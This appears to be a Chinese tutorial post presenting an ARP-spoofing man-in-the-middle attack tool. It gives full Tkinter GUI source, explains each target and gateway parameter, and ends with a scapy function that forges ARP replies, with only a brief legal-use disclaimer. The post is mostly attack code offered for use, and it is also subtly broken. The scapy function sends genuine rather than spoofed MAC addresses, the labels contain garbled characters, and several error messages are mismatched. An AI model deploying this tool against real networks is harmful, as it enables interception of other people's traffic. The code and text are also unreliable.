基于Tkinter GUI库的ARP欺骗攻击工具
程序提供了一个简单易用的GUI界面,让用户可以方便地进行ARP欺骗攻击。但ARP欺骗是一种黑客攻击手段,可能会造成严重的网络安全问题,请谨慎使用,仅限于合法的网络安全测试和研究目的。
这个ARP欺骗工具需要用户输入目标主机的IP和MAC地址,以及网关路由器的IP地址,然后工具会伪造ARP应答报文,欺骗目标主机将网关路由器的MAC地址更新为攻击者自己的MAC地址。这样,目标主机发往网关的流量就会经过攻击者控制的机器,从而实现中间人攻击。
代码示例
from tkinter import *
from ArpSpoofing import *
import tkinter.messagebox
class ArpSpoofingForm:
def __init__(self):
window = Tk()
window.title("ARP放骗")
frame1 = Frame(window)
frame1.pack()
label1 = Label(frame1, text="日标主机IP地址:")
label1.grid(row=0, column=0)
self.objectIP = StringVar()
entryObjectIP = Entry(frame1, textvariable=self.objectIP)
entryObjectIP.grid(row=0, column=1)
label2 = Label(frame1, text="日标主机MAC地址:")
label2.grid(row=1, column=0)
self.objectMAC = StringVar()
entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)
entryObjectMAC.grid(row=1, column=1)
label3 = Label(frame1, text="公网路出器即地址:")
label3.grid(row=2, column=0)
self.routerIP = StringVar()
entryRouterIP = Entry(frame1, textvariable=self.routerIP)
entryRouterIP.grid(row=2, column=1)
label4 = Label(frame1, text="本机MAC地址:")
label4.grid(row=3, column=0)
self.localMAC = StringVar()
entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
entryLocalMAC.grid(row=3, column=1)
buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
buttonSpoofing.pack()
window.mainloop()
def spoofing(self):
objectIP = self.objectIP.get()
if objectIP == "":
tkinter.messagebox.showerror("", "请输入目标主机IP地址")
return
objectMAC = self.objectMAC.get()
if objectMAC == "":
tkinter.messagebox.showinfo("", "日标主机MAC地址!")
return
localMAC = self.localMAC.get()
if localMAC == "":
tkinter.messagebox.showinfo("", "本机网卡错误!")
return
routerIP = self.routerIP.get()
if routerIP == "":
tkinter.messagebox.showinfo("", "本机未联网!")
return
s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
s.spoofing(100)
ArpSpoofingForm()
运行效果
图形用户界面
创建Tkinter主窗口,并设置标题
window = Tk()
window.title("ARP放骗")
Frame 容器,组织各个GUI组件
frame1 = Frame(window)
frame1.pack()
Label 和 Entry 组件,用于用户输入目标主机IP、MAC地址,网关路由器IP以及本机MAC地址
label1 = Label(frame1, text="日标主机IP地址:")
self.objectIP = StringVar()
entryObjectIP = Entry(frame1, textvariable=self.objectIP)
label2 = Label(frame1, text="日标主机MAC地址:")
self.objectMAC = StringVar()
entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)
label3 = Label(frame1, text="公网路出器即地址:")
self.routerIP = StringVar()
entryRouterIP = Entry(frame1, textvariable=self.routerIP)
label4 = Label(frame1, text="本机MAC地址:")
self.localMAC = StringVar()
entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
- 目标主机IP地址:
这个参数指的是你想要欺骗的目标主机的IP地址。也就是说,你要让这个目标主机相信它与网关路由器之间的ARP映射关系是错误的。 - 目标主机MAC地址:
这个参数对应的是目标主机的MAC地址。ARP欺骗的本质就是伪造ARP应答报文,使目标主机相信攻击者的MAC地址与网关路由器的IP地址对应。所以需要输入目标主机的MAC地址。 - 网关路由器IP地址:
网关路由器是目标主机访问Internet的默认路由。ARP欺骗的目的是让目标主机相信攻击者的MAC地址与网关路由器的IP地址对应,从而将目标主机的网络流量导向攻击者控制的机器。所以需要输入网关路由器的IP地址。 - 本机MAC地址:
这个参数对应的是运行该ARP欺骗工具的主机自己的MAC地址。因为ARP欺骗需要伪造ARP应答报文,所以需要告诉工具自己的MAC地址,作为伪造ARP应答报文的源MAC地址。
"ARP欺骗"按钮,点击后触发 spoofing 方法
buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
buttonSpoofing.pack()
spoofing 方法
获取用户输入的各项参数,并进行合法性检查
objectIP = self.objectIP.get()
if objectIP == "":
tkinter.messagebox.showerror("", "请输入目标主机IP地址")
return
# 对其他参数的检查逻辑类似
执行ARP欺骗攻击
s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
s.spoofing(100)
scapy 库 ARP 类构造ARP数据包
from scapy.all import ARP, send
def arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac):
# 构造目标主机的ARP应答包
arp_reply = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
send(arp_reply, verbose=False)
# 构造网关路由器的ARP应答包
arp_reply = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
send(arp_reply, verbose=False)